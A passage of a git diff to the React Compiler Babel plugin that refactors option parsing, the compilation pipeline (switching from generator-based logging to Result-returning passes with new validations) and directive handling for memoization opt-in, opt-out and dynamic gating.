+            parsedOptions[key] = tryParseExternalFunction(value);
+          }
+          break;
+        }
+        case 'dynamicGating': {
+          if (value == null) {
+            parsedOptions[key] = null;
+          } else {
+            const result = DynamicGatingOptionsSchema.safeParse(value);
+            if (result.success) {
+              parsedOptions[key] = result.data;
+            } else {
+              CompilerError.throwInvalidConfig({
+                reason:
+                  'Could not parse dynamic gating. Update React Compiler config to fix the error',
+                description: `${fromZodError(result.error)}`,
+                loc: null,
+                suggestions: null,
+              });
+            }
+          }
+          break;
+        }
+        case 'customOptOutDirectives': {
+          const result = CustomOptOutDirectiveSchema.safeParse(value);
+          if (result.success) {
+            parsedOptions[key] = result.data;
+          } else {
+            CompilerError.throwInvalidConfig({
+              reason:
+                'Could not parse custom opt out directives. Update React Compiler config to fix the error',
+              description: `${fromZodError(result.error)}`,
+              loc: null,
+              suggestions: null,
+            });
+          }
+          break;
+        }
+        default: {
+          parsedOptions[key] = value;
+        }
+      }
     }
   }
-  return { ...defaultOptions, ...parsedOptions };
+  return {...defaultOptions, ...parsedOptions};
+}
+
+export function parseTargetConfig(value: unknown): CompilerReactTarget {
+  const parsed = CompilerReactTargetSchema.safeParse(value);
+  if (parsed.success) {
+    return parsed.data;
+  } else {
+    CompilerError.throwInvalidConfig({
+      reason: 'Not a valid target',
+      description: `${fromZodError(parsed.error)}`,
+      suggestions: null,
+      loc: null,
+    });
+  }
 }
 
 function isCompilerFlag(s: string): s is keyof PluginOptions {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Pipeline.ts b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Pipeline.ts
index 863eca5dcf35..a0cd02817828 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Pipeline.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Pipeline.ts
@@ -5,14 +5,17 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { NodePath } from "@babel/traverse";
-import * as t from "@babel/types";
-import prettyFormat from "pretty-format";
-import { Logger } from ".";
+import {NodePath} from '@babel/traverse';
+import * as t from '@babel/types';
+import prettyFormat from 'pretty-format';
+import {CompilerOutputMode, Logger, ProgramContext} from '.';
+import {CompilerError} from '../CompilerError';
+import {Err, Ok, Result} from '../Utils/Result';
 import {
   HIRFunction,
   ReactiveFunction,
   assertConsistentIdentifiers,
+  assertTerminalPredsExist,
   assertTerminalSuccessorsExist,
   assertValidBlockNesting,
   assertValidMutableRanges,
@@ -21,46 +24,37 @@ import {
   mergeConsecutiveBlocks,
   mergeOverlappingReactiveScopesHIR,
   pruneUnusedLabelsHIR,
-} from "../HIR";
+} from '../HIR';
 import {
   Environment,
   EnvironmentConfig,
   ReactFunctionType,
-} from "../HIR/Environment";
-import { findContextIdentifiers } from "../HIR/FindContextIdentifiers";
+} from '../HIR/Environment';
+import {findContextIdentifiers} from '../HIR/FindContextIdentifiers';
 import {
   analyseFunctions,
   dropManualMemoization,
-  inferMutableRanges,
   inferReactivePlaces,
-  inferReferenceEffects,
   inlineImmediatelyInvokedFunctionExpressions,
-} from "../Inference";
+} from '../Inference';
 import {
   constantPropagation,
   deadCodeElimination,
   pruneMaybeThrows,
-} from "../Optimization";
-import { instructionReordering } from "../Optimization/InstructionReordering";
+} from '../Optimization';
 import {
   CodegenFunction,
   alignObjectMethodScopes,
-  alignReactiveScopesToBlockScopes,
   assertScopeInstructionsWithinScopes,
   assertWellFormedBreakTargets,
-  buildReactiveBlocks,
   buildReactiveFunction,
   codegenFunction,
   extractScopeDeclarationsFromDestructuring,
-  flattenReactiveLoops,
-  flattenScopesWithHooksOrUse,
   inferReactiveScopeVariables,
-  memoizeFbtOperandsInSameScope,
-  mergeOverlappingReactiveScopes,
+  memoizeFbtAndMacroOperandsInSameScope,
   mergeReactiveScopesThatInvalidateTogether,
   promoteUsedTemporaries,
   propagateEarlyReturns,
-  propagateScopeDependencies,
   pruneHoistedContexts,
   pruneNonEscapingScopes,
   pruneNonReactiveDependencies,
@@ -68,402 +62,439 @@ import {
   pruneUnusedLabels,
   pruneUnusedScopes,
   renameVariables,
-} from "../ReactiveScopes";
-import { alignMethodCallScopes } from "../ReactiveScopes/AlignMethodCallScopes";
-import { alignReactiveScopesToBlockScopesHIR } from "../ReactiveScopes/AlignReactiveScopesToBlockScopesHIR";
-import { flattenReactiveLoopsHIR } from "../ReactiveScopes/FlattenReactiveLoopsHIR";
-import { flattenScopesWithHooksOrUseHIR } from "../ReactiveScopes/FlattenScopesWithHooksOrUseHIR";
-import { pruneAlwaysInvalidatingScopes } from "../ReactiveScopes/PruneAlwaysInvalidatingScopes";
-import pruneInitializationDependencies from "../ReactiveScopes/PruneInitializationDependencies";
-import { stabilizeBlockIds } from "../ReactiveScopes/StabilizeBlockIds";
-import { eliminateRedundantPhi, enterSSA, leaveSSA } from "../SSA";
-import { inferTypes } from "../TypeInference";
+} from '../ReactiveScopes';
+import {alignMethodCallScopes} from '../ReactiveScopes/AlignMethodCallScopes';
+import {alignReactiveScopesToBlockScopesHIR} from '../ReactiveScopes/AlignReactiveScopesToBlockScopesHIR';
+import {flattenReactiveLoopsHIR} from '../ReactiveScopes/FlattenReactiveLoopsHIR';
+import {flattenScopesWithHooksOrUseHIR} from '../ReactiveScopes/FlattenScopesWithHooksOrUseHIR';
+import {pruneAlwaysInvalidatingScopes} from '../ReactiveScopes/PruneAlwaysInvalidatingScopes';
+import {stabilizeBlockIds} from '../ReactiveScopes/StabilizeBlockIds';
 import {
-  logCodegenFunction,
-  logDebug,
-  logHIRFunction,
-  logReactiveFunction,
-} from "../Utils/logger";
-import { assertExhaustive } from "../Utils/utils";
+  eliminateRedundantPhi,
+  enterSSA,
+  rewriteInstructionKindsBasedOnReassignment,
+} from '../SSA';
+import {inferTypes} from '../TypeInference';
 import {
   validateContextVariableLValues,
   validateHooksUsage,
-  validateMemoizedEffectDependencies,
   validateNoCapitalizedCalls,
   validateNoRefAccessInRender,
   validateNoSetStateInRender,
   validatePreservedManualMemoization,
   validateUseMemo,
-} from "../Validation";
+} from '../Validation';
+import {validateLocalsNotReassignedAfterRender} from '../Validation/ValidateLocalsNotReassignedAfterRender';
+import {outlineFunctions} from '../Optimization/OutlineFunctions';
+import {validateNoSetStateInEffects} from '../Validation/ValidateNoSetStateInEffects';
+import {validateNoJSXInTryStatement} from '../Validation/ValidateNoJSXInTryStatement';
+import {propagateScopeDependenciesHIR} from '../HIR/PropagateScopeDependenciesHIR';
+import {outlineJSX} from '../Optimization/OutlineJsx';
+import {optimizePropsMethodCalls} from '../Optimization/OptimizePropsMethodCalls';
+import {validateStaticComponents} from '../Validation/ValidateStaticComponents';
+import {validateNoFreezingKnownMutableFunctions} from '../Validation/ValidateNoFreezingKnownMutableFunctions';
+import {inferMutationAliasingEffects} from '../Inference/InferMutationAliasingEffects';
+import {inferMutationAliasingRanges} from '../Inference/InferMutationAliasingRanges';
+import {validateNoDerivedComputationsInEffects} from '../Validation/ValidateNoDerivedComputationsInEffects';
+import {validateNoDerivedComputationsInEffects_exp} from '../Validation/ValidateNoDerivedComputationsInEffects_exp';
+import {nameAnonymousFunctions} from '../Transform/NameAnonymousFunctions';
+import {optimizeForSSR} from '../Optimization/OptimizeForSSR';
+import {validateExhaustiveDependencies} from '../Validation/ValidateExhaustiveDependencies';
+import {validateSourceLocations} from '../Validation/ValidateSourceLocations';
 
 export type CompilerPipelineValue =
-  | { kind: "ast"; name: string; value: CodegenFunction }
-  | { kind: "hir"; name: string; value: HIRFunction }
-  | { kind: "reactive"; name: string; value: ReactiveFunction }
-  | { kind: "debug"; name: string; value: string };
+  | {kind: 'ast'; name: string; value: CodegenFunction}
+  | {kind: 'hir'; name: string; value: HIRFunction}
+  | {kind: 'reactive'; name: string; value: ReactiveFunction}
+  | {kind: 'debug'; name: string; value: string};
 
-export function* run(
+function run(
   func: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
   >,
   config: EnvironmentConfig,
   fnType: ReactFunctionType,
-  useMemoCacheIdentifier: string,
+  mode: CompilerOutputMode,
+  programContext: ProgramContext,
   logger: Logger | null,
   filename: string | null,
-  code: string | null
-): Generator<CompilerPipelineValue, CodegenFunction> {
+  code: string | null,
+): Result<CodegenFunction, CompilerError> {
   const contextIdentifiers = findContextIdentifiers(func);
   const env = new Environment(
+    func.scope,
     fnType,
+    mode,
     config,
     contextIdentifiers,
+    func,
     logger,
     filename,
     code,
-    useMemoCacheIdentifier
+    programContext,
   );
-  yield {
-    kind: "debug",
-    name: "EnvironmentConfig",
+  env.logger?.debugLogIRs?.({
+    kind: 'debug',
+    name: 'EnvironmentConfig',
     value: prettyFormat(env.config),
-  };
-  const ast = yield* runWithEnvironment(func, env);
-  return ast;
+  });
+  return runWithEnvironment(func, env);
 }
 
 /*
  * Note: this is split from run() to make `config` out of scope, so that all
  * access to feature flags has to be through the Environment for consistency.
  */
-function* runWithEnvironment(
+function runWithEnvironment(
   func: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
   >,
-  env: Environment
-): Generator<CompilerPipelineValue, CodegenFunction> {
-  const hir = lower(func, env).unwrap();
-  yield log({ kind: "hir", name: "HIR", value: hir });
+  env: Environment,
+): Result<CodegenFunction, CompilerError> {
+  const log = (value: CompilerPipelineValue): void => {
+    env.logger?.debugLogIRs?.(value);
+  };
+  const hir = lower(func, env);
+  log({kind: 'hir', name: 'HIR', value: hir});
 
   pruneMaybeThrows(hir);
-  yield log({ kind: "hir", name: "PruneMaybeThrows", value: hir });
+  log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});
 
   validateContextVariableLValues(hir);
   validateUseMemo(hir);
 
-  if (
-    !env.config.enablePreserveExistingManualUseMemo &&
-    !env.config.disableMemoizationForDebugging &&
-    !env.config.enableChangeDetectionForDebugging
-  ) {
+  if (env.enableDropManualMemoization) {
     dropManualMemoization(hir);
-    yield log({ kind: "hir", name: "DropManualMemoization", value: hir });
+    log({kind: 'hir', name: 'DropManualMemoization', value: hir});
   }
 
   inlineImmediatelyInvokedFunctionExpressions(hir);
-  yield log({
-    kind: "hir",
-    name: "InlineImmediatelyInvokedFunctionExpressions",
+  log({
+    kind: 'hir',
+    name: 'InlineImmediatelyInvokedFunctionExpressions',
     value: hir,
   });
 
   mergeConsecutiveBlocks(hir);
-  yield log({ kind: "hir", name: "MergeConsecutiveBlocks", value: hir });
+  log({kind: 'hir', name: 'MergeConsecutiveBlocks', value: hir});
 
   assertConsistentIdentifiers(hir);
   assertTerminalSuccessorsExist(hir);
 
   enterSSA(hir);
-  yield log({ kind: "hir", name: "SSA", value: hir });
+  log({kind: 'hir', name: 'SSA', value: hir});
 
   eliminateRedundantPhi(hir);
-  yield log({ kind: "hir", name: "EliminateRedundantPhi", value: hir });
+  log({kind: 'hir', name: 'EliminateRedundantPhi', value: hir});
 
   assertConsistentIdentifiers(hir);
 
   constantPropagation(hir);
-  yield log({ kind: "hir", name: "ConstantPropagation", value: hir });
+  log({kind: 'hir', name: 'ConstantPropagation', value: hir});
 
   inferTypes(hir);
-  yield log({ kind: "hir", name: "InferTypes", value: hir });
+  log({kind: 'hir', name: 'InferTypes', value: hir});
 
-  if (env.config.validateHooksUsage) {
-    validateHooksUsage(hir);
+  if (env.enableValidations) {
+    if (env.config.validateHooksUsage) {
+      validateHooksUsage(hir);
+    }
+    if (env.config.validateNoCapitalizedCalls) {
+      validateNoCapitalizedCalls(hir);
+    }
   }
 
-  if (env.config.validateNoCapitalizedCalls) {
-    validateNoCapitalizedCalls(hir);
-  }
+  optimizePropsMethodCalls(hir);
+  log({kind: 'hir', name: 'OptimizePropsMethodCalls', value: hir});
 
   analyseFunctions(hir);
-  yield log({ kind: "hir", name: "AnalyseFunctions", value: hir });
+  log({kind: 'hir', name: 'AnalyseFunctions', value: hir});
 
-  inferReferenceEffects(hir);
-  yield log({ kind: "hir", name: "InferReferenceEffects", value: hir });
+  inferMutationAliasingEffects(hir);
+  log({kind: 'hir', name: 'InferMutationAliasingEffects', value: hir});
+
+  if (env.outputMode === 'ssr') {
+    optimizeForSSR(hir);
+    log({kind: 'hir', name: 'OptimizeForSSR', value: hir});
+  }
 
   // Note: Has to come after infer reference effects because "dead" code may still affect inference
   deadCodeElimination(hir);
-  yield log({ kind: "hir", name: "DeadCodeElimination", value: hir });
+  log({kind: 'hir', name: 'DeadCodeElimination', value: hir});
+  pruneMaybeThrows(hir);
+  log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});
 
-  if (env.config.enableInstructionReordering) {
-    instructionReordering(hir);
-    yield log({ kind: "hir", name: "InstructionReordering", value: hir });
-  }
+  inferMutationAliasingRanges(hir, {
+    isFunctionExpression: false,
+  });
+  log({kind: 'hir', name: 'InferMutationAliasingRanges', value: hir});
+  if (env.enableValidations) {
+    validateLocalsNotReassignedAfterRender(hir);
 
-  pruneMaybeThrows(hir);
-  yield log({ kind: "hir", name: "PruneMaybeThrows", value: hir });
+    if (env.config.assertValidMutableRanges) {
+      assertValidMutableRanges(hir);
+    }
+
+    if (env.config.validateRefAccessDuringRender) {
+      validateNoRefAccessInRender(hir);
+    }
+
+    if (env.config.validateNoSetStateInRender) {
+      validateNoSetStateInRender(hir);
+    }
+
+    if (
+      env.config.validateNoDerivedComputationsInEffects_exp &&
+      env.outputMode === 'lint'
+    ) {
+      env.logErrors(validateNoDerivedComputationsInEffects_exp(hir));
+    } else if (env.config.validateNoDerivedComputationsInEffects) {
+      validateNoDerivedComputationsInEffects(hir);
+    }
+
+    if (env.config.validateNoSetStateInEffects && env.outputMode === 'lint') {
+      env.logErrors(validateNoSetStateInEffects(hir, env));
+    }
 
-  inferMutableRanges(hir);
-  yield log({ kind: "hir", name: "InferMutableRanges", value: hir });
+    if (env.config.validateNoJSXInTryStatements && env.outputMode === 'lint') {
+      env.logErrors(validateNoJSXInTryStatement(hir));
+    }
 
-  if (env.config.assertValidMutableRanges) {
-    assertValidMutableRanges(hir);
+    validateNoFreezingKnownMutableFunctions(hir);
   }
 
-  if (env.config.validateRefAccessDuringRender) {
-    validateNoRefAccessInRender(hir);
+  inferReactivePlaces(hir);
+  log({kind: 'hir', name: 'InferReactivePlaces', value: hir});
+
+  if (env.enableValidations) {
+    if (
+      env.config.validateExhaustiveMemoizationDependencies ||
+      env.config.validateExhaustiveEffectDependencies
+    ) {
+      // NOTE: this relies on reactivity inference running first
+      validateExhaustiveDependencies(hir);
+    }
   }
 
-  if (env.config.validateNoSetStateInRender) {
-    validateNoSetStateInRender(hir);
+  rewriteInstructionKindsBasedOnReassignment(hir);
+  log({
+    kind: 'hir',
+    name: 'RewriteInstructionKindsBasedOnReassignment',
+    value: hir,
+  });
+
+  if (
+    env.enableValidations &&
+    env.config.validateStaticComponents &&
+    env.outputMode === 'lint'
+  ) {
+    env.logErrors(validateStaticComponents(hir));
   }
 
-  inferReactivePlaces(hir);
-  yield log({ kind: "hir", name: "InferReactivePlaces", value: hir });
+  if (env.enableMemoization) {
+    /**
+     * Only create reactive scopes (which directly map to generated memo blocks)
+     * if inferred memoization is enabled. This makes all later passes which
+     * transform reactive-scope labeled instructions no-ops.
+     */
+    inferReactiveScopeVariables(hir);
+    log({kind: 'hir', name: 'InferReactiveScopeVariables', value: hir});
+  }
+
+  const fbtOperands = memoizeFbtAndMacroOperandsInSameScope(hir);
+  log({
+    kind: 'hir',
+    name: 'MemoizeFbtAndMacroOperandsInSameScope',
+    value: hir,
+  });
 
-  leaveSSA(hir);
-  yield log({ kind: "hir", name: "LeaveSSA", value: hir });
+  if (env.config.enableJsxOutlining) {
+    outlineJSX(hir);
+  }
 
-  inferReactiveScopeVariables(hir);
-  yield log({ kind: "hir", name: "InferReactiveScopeVariables", value: hir });
+  if (env.config.enableNameAnonymousFunctions) {
+    nameAnonymousFunctions(hir);
+    log({
+      kind: 'hir',
+      name: 'NameAnonymousFunctions',
+      value: hir,
+    });
+  }
+
+  if (env.config.enableFunctionOutlining) {
+    outlineFunctions(hir, fbtOperands);
+    log({kind: 'hir', name: 'OutlineFunctions', value: hir});
+  }
 
   alignMethodCallScopes(hir);
-  yield log({
-    kind: "hir",
-    name: "AlignMethodCallScopes",
+  log({
+    kind: 'hir',
+    name: 'AlignMethodCallScopes',
     value: hir,
   });
 
   alignObjectMethodScopes(hir);
-  yield log({
-    kind: "hir",
-    name: "AlignObjectMethodScopes",
+  log({
+    kind: 'hir',
+    name: 'AlignObjectMethodScopes',
     value: hir,
   });
 
-  memoizeFbtOperandsInSameScope(hir);
-  yield log({
-    kind: "hir",
-    name: "MemoizeFbtAndMacroOperandsInSameScope",
+  pruneUnusedLabelsHIR(hir);
+  log({
+    kind: 'hir',
+    name: 'PruneUnusedLabelsHIR',
     value: hir,
   });
 
-  if (env.config.enableReactiveScopesInHIR) {
-    pruneUnusedLabelsHIR(hir);
-    yield log({
-      kind: "hir",
-      name: "PruneUnusedLabelsHIR",
-      value: hir,
-    });
+  alignReactiveScopesToBlockScopesHIR(hir);
+  log({
+    kind: 'hir',
+    name: 'AlignReactiveScopesToBlockScopesHIR',
+    value: hir,
+  });
 
-    alignReactiveScopesToBlockScopesHIR(hir);
-    yield log({
-      kind: "hir",
-      name: "AlignReactiveScopesToBlockScopesHIR",
-      value: hir,
-    });
+  mergeOverlappingReactiveScopesHIR(hir);
+  log({
+    kind: 'hir',
+    name: 'MergeOverlappingReactiveScopesHIR',
+    value: hir,
+  });
+  assertValidBlockNesting(hir);
 
-    mergeOverlappingReactiveScopesHIR(hir);
-    yield log({
-      kind: "hir",
-      name: "MergeOverlappingReactiveScopesHIR",
-      value: hir,
-    });
-    assertValidBlockNesting(hir);
+  buildReactiveScopeTerminalsHIR(hir);
+  log({
+    kind: 'hir',
+    name: 'BuildReactiveScopeTerminalsHIR',
+    value: hir,
+  });
 
-    buildReactiveScopeTerminalsHIR(hir);
-    yield log({
-      kind: "hir",
-      name: "BuildReactiveScopeTerminalsHIR",
-      value: hir,
-    });
+  assertValidBlockNesting(hir);
 
-    assertValidBlockNesting(hir);
+  flattenReactiveLoopsHIR(hir);
+  log({
+    kind: 'hir',
+    name: 'FlattenReactiveLoopsHIR',
+    value: hir,
+  });
 
-    flattenReactiveLoopsHIR(hir);
-    yield log({
-      kind: "hir",
-      name: "FlattenReactiveLoopsHIR",
-      value: hir,
-    });
+  flattenScopesWithHooksOrUseHIR(hir);
+  log({
+    kind: 'hir',
+    name: 'FlattenScopesWithHooksOrUseHIR',
+    value: hir,
+  });
+  assertTerminalSuccessorsExist(hir);
+  assertTerminalPredsExist(hir);
 
-    flattenScopesWithHooksOrUseHIR(hir);
-    yield log({
-      kind: "hir",
-      name: "FlattenScopesWithHooksOrUseHIR",
-      value: hir,
-    });
-  }
+  propagateScopeDependenciesHIR(hir);
+  log({
+    kind: 'hir',
+    name: 'PropagateScopeDependenciesHIR',
+    value: hir,
+  });
 
   const reactiveFunction = buildReactiveFunction(hir);
-  yield log({
-    kind: "reactive",
-    name: "BuildReactiveFunction",
+  log({
+    kind: 'reactive',
+    name: 'BuildReactiveFunction',
     value: reactiveFunction,
   });
 
   assertWellFormedBreakTargets(reactiveFunction);
 
   pruneUnusedLabels(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PruneUnusedLabels",
+  log({
+    kind: 'reactive',
+    name: 'PruneUnusedLabels',
     value: reactiveFunction,
   });
-
-  if (!env.config.enableReactiveScopesInHIR) {
-    alignReactiveScopesToBlockScopes(reactiveFunction);
-    yield log({
-      kind: "reactive",
-      name: "AlignReactiveScopesToBlockScopes",
-      value: reactiveFunction,
-    });
-
-    mergeOverlappingReactiveScopes(reactiveFunction);
-    yield log({
-      kind: "reactive",
-      name: "MergeOverlappingReactiveScopes",
-      value: reactiveFunction,
-    });
-
-    buildReactiveBlocks(reactiveFunction);
-    yield log({
-      kind: "reactive",
-      name: "BuildReactiveBlocks",
-      value: reactiveFunction,
-    });
-
-    flattenReactiveLoops(reactiveFunction);
-    yield log({
-      kind: "reactive",
-      name: "FlattenReactiveLoops",
-      value: reactiveFunction,
-    });
-
-    flattenScopesWithHooksOrUse(reactiveFunction);
-    yield log({
-      kind: "reactive",
-      name: "FlattenScopesWithHooks",
-      value: reactiveFunction,
-    });
-  }
-
   assertScopeInstructionsWithinScopes(reactiveFunction);
 
-  propagateScopeDependencies(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PropagateScopeDependencies",
-    value: reactiveFunction,
-  });
-
   pruneNonEscapingScopes(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PruneNonEscapingScopes",
+  log({
+    kind: 'reactive',
+    name: 'PruneNonEscapingScopes',
     value: reactiveFunction,
   });
 
   pruneNonReactiveDependencies(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PruneNonReactiveDependencies",
+  log({
+    kind: 'reactive',
+    name: 'PruneNonReactiveDependencies',
     value: reactiveFunction,
   });
 
   pruneUnusedScopes(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PruneUnusedScopes",
+  log({
+    kind: 'reactive',
+    name: 'PruneUnusedScopes',
     value: reactiveFunction,
   });
 
   mergeReactiveScopesThatInvalidateTogether(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "MergeReactiveScopesThatInvalidateTogether",
+  log({
+    kind: 'reactive',
+    name: 'MergeReactiveScopesThatInvalidateTogether',
     value: reactiveFunction,
   });
 
   pruneAlwaysInvalidatingScopes(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PruneAlwaysInvalidatingScopes",
+  log({
+    kind: 'reactive',
+    name: 'PruneAlwaysInvalidatingScopes',
     value: reactiveFunction,
   });
 
-  if (env.config.enableChangeDetectionForDebugging != null) {
-    pruneInitializationDependencies(reactiveFunction);
-    yield log({
-      kind: "reactive",
-      name: "PruneInitializationDependencies",
-      value: reactiveFunction,
-    });
-  }
-
   propagateEarlyReturns(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PropagateEarlyReturns",
+  log({
+    kind: 'reactive',
+    name: 'PropagateEarlyReturns',
     value: reactiveFunction,
   });
 
-  promoteUsedTemporaries(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PromoteUsedTemporaries",
+  pruneUnusedLValues(reactiveFunction);
+  log({
+    kind: 'reactive',
+    name: 'PruneUnusedLValues',
     value: reactiveFunction,
   });
 
-  pruneUnusedLValues(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PruneUnusedLValues",
+  promoteUsedTemporaries(reactiveFunction);
+  log({
+    kind: 'reactive',
+    name: 'PromoteUsedTemporaries',
     value: reactiveFunction,
   });
 
   extractScopeDeclarationsFromDestructuring(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "ExtractScopeDeclarationsFromDestructuring",
+  log({
+    kind: 'reactive',
+    name: 'ExtractScopeDeclarationsFromDestructuring',
     value: reactiveFunction,
   });
 
   stabilizeBlockIds(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "StabilizeBlockIds",
+  log({
+    kind: 'reactive',
+    name: 'StabilizeBlockIds',
     value: reactiveFunction,
   });
 
   const uniqueIdentifiers = renameVariables(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "RenameVariables",
+  log({
+    kind: 'reactive',
+    name: 'RenameVariables',
     value: reactiveFunction,
   });
 
   pruneHoistedContexts(reactiveFunction);
-  yield log({
-    kind: "reactive",
-    name: "PruneHoistedContexts",
+  log({
+    kind: 'reactive',
+    name: 'PruneHoistedContexts',
     value: reactiveFunction,
   });
 
-  if (env.config.validateMemoizedEffectDependencies) {
-    validateMemoizedEffectDependencies(reactiveFunction);
-  }
-
   if (
     env.config.enablePreserveExistingMemoizationGuarantees ||
     env.config.validatePreserveExistingMemoizationGuarantees
@@ -471,8 +502,18 @@ function* runWithEnvironment(
     validatePreservedManualMemoization(reactiveFunction);
   }
 
-  const ast = codegenFunction(reactiveFunction, uniqueIdentifiers).unwrap();
-  yield log({ kind: "ast", name: "Codegen", value: ast });
+  const ast = codegenFunction(reactiveFunction, {
+    uniqueIdentifiers,
+    fbtOperands,
+  });
+  log({kind: 'ast', name: 'Codegen', value: ast});
+  for (const outlined of ast.outlined) {
+    log({kind: 'ast', name: 'Codegen (outlined)', value: outlined.fn});
+  }
+
+  if (env.config.validateSourceLocations) {
+    validateSourceLocations(func, ast, env);
+  }
 
   /**
    * This flag should be only set for unit / fixture tests to check
@@ -480,10 +521,13 @@ function* runWithEnvironment(
    * thrown by babel functions or other unexpected exceptions).
    */
   if (env.config.throwUnknownException__testonly) {
-    throw new Error("unexpected error");
+    throw new Error('unexpected error');
   }
 
-  return ast;
+  if (env.hasErrors()) {
+    return Err(env.aggregateErrors());
+  }
+  return Ok(ast);
 }
 
 export function compileFn(
@@ -492,49 +536,20 @@ export function compileFn(
   >,
   config: EnvironmentConfig,
   fnType: ReactFunctionType,
-  useMemoCacheIdentifier: string,
+  mode: CompilerOutputMode,
+  programContext: ProgramContext,
   logger: Logger | null,
   filename: string | null,
-  code: string | null
-): CodegenFunction {
-  let generator = run(
+  code: string | null,
+): Result<CodegenFunction, CompilerError> {
+  return run(
     func,
     config,
     fnType,
-    useMemoCacheIdentifier,
+    mode,
+    programContext,
     logger,
     filename,
-    code
+    code,
   );
-  while (true) {
-    const next = generator.next();
-    if (next.done) {
-      return next.value;
-    }
-  }
-}
-
-export function log(value: CompilerPipelineValue): CompilerPipelineValue {
-  switch (value.kind) {
-    case "ast": {
-      logCodegenFunction(value.name, value.value);
-      break;
-    }
-    case "hir": {
-      logHIRFunction(value.name, value.value);
-      break;
-    }
-    case "reactive": {
-      logReactiveFunction(value.name, value.value);
-      break;
-    }
-    case "debug": {
-      logDebug(value.name, value.value);
-      break;
-    }
-    default: {
-      assertExhaustive(value, "Unexpected compilation kind");
-    }
-  }
-  return value;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Program.ts b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Program.ts
index adee97238b2b..2880e9283c77 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Program.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Program.ts
@@ -5,78 +5,151 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { NodePath } from "@babel/core";
-import * as t from "@babel/types";
+import {NodePath} from '@babel/core';
+import * as t from '@babel/types';
 import {
   CompilerError,
   CompilerErrorDetail,
-  ErrorSeverity,
-} from "../CompilerError";
+  ErrorCategory,
+} from '../CompilerError';
+import {ExternalFunction, ReactFunctionType} from '../HIR/Environment';
+import {CodegenFunction} from '../ReactiveScopes';
+import {isComponentDeclaration} from '../Utils/ComponentDeclaration';
+import {isHookDeclaration} from '../Utils/HookDeclaration';
+import {assertExhaustive} from '../Utils/utils';
+import {insertGatedFunctionDeclaration} from './Gating';
 import {
-  ExternalFunction,
-  ReactFunctionType,
-  parseEnvironmentConfig,
-  tryParseExternalFunction,
-} from "../HIR/Environment";
-import { CodegenFunction } from "../ReactiveScopes";
-import { isComponentDeclaration } from "../Utils/ComponentDeclaration";
-import { isHookDeclaration } from "../Utils/HookDeclaration";
-import { assertExhaustive } from "../Utils/utils";
-import { insertGatedFunctionDeclaration } from "./Gating";
-import { addImportsToProgram, updateMemoCacheFunctionImport } from "./Imports";
-import { PluginOptions } from "./Options";
-import { compileFn } from "./Pipeline";
+  addImportsToProgram,
+  ProgramContext,
+  validateRestrictedImports,
+} from './Imports';
+import {
+  CompilerOutputMode,
+  CompilerReactTarget,
+  ParsedPluginOptions,
+  PluginOptions,
+} from './Options';
+import {compileFn} from './Pipeline';
 import {
   filterSuppressionsThatAffectFunction,
   findProgramSuppressions,
   suppressionsToCompilerError,
-} from "./Suppression";
+} from './Suppression';
+import {GeneratedSource} from '../HIR';
+import {Err, Ok, Result} from '../Utils/Result';
 
 export type CompilerPass = {
-  opts: PluginOptions;
+  opts: ParsedPluginOptions;
   filename: string | null;
   comments: Array<t.CommentBlock | t.CommentLine>;
   code: string | null;
 };
+export const OPT_IN_DIRECTIVES = new Set(['use forget', 'use memo']);
+export const OPT_OUT_DIRECTIVES = new Set(['use no forget', 'use no memo']);
+const DYNAMIC_GATING_DIRECTIVE = new RegExp('^use memo if\\(([^\\)]*)\\)$');
 
-function findDirectiveEnablingMemoization(
-  directives: Array<t.Directive>
-): t.Directive | null {
-  for (const directive of directives) {
-    const directiveValue = directive.value.value;
-    if (directiveValue === "use forget" || directiveValue === "use memo") {
-      return directive;
-    }
+export function tryFindDirectiveEnablingMemoization(
+  directives: Array<t.Directive>,
+  opts: ParsedPluginOptions,
+): Result<t.Directive | null, CompilerError> {
+  const optIn = directives.find(directive =>
+    OPT_IN_DIRECTIVES.has(directive.value.value),
+  );
+  if (optIn != null) {
+    return Ok(optIn);
+  }
+  const dynamicGating = findDirectivesDynamicGating(directives, opts);
+  if (dynamicGating.isOk()) {
+    return Ok(dynamicGating.unwrap()?.directive ?? null);
+  } else {
+    return Err(dynamicGating.unwrapErr());
   }
-  return null;
 }
 
-function findDirectiveDisablingMemoization(
+export function findDirectiveDisablingMemoization(
   directives: Array<t.Directive>,
-  options: PluginOptions
+  {customOptOutDirectives}: PluginOptions,
 ): t.Directive | null {
+  if (customOptOutDirectives != null) {
+    return (
+      directives.find(
+        directive =>
+          customOptOutDirectives.indexOf(directive.value.value) !== -1,
+      ) ?? null
+    );
+  }
+  return (
+    directives.find(directive =>
+      OPT_OUT_DIRECTIVES.has(directive.value.value),
+    ) ?? null
+  );
+}
+function findDirectivesDynamicGating(
+  directives: Array<t.Directive>,
+  opts: ParsedPluginOptions,
+): Result<
+  {
+    gating: ExternalFunction;
+    directive: t.Directive;
+  } | null,
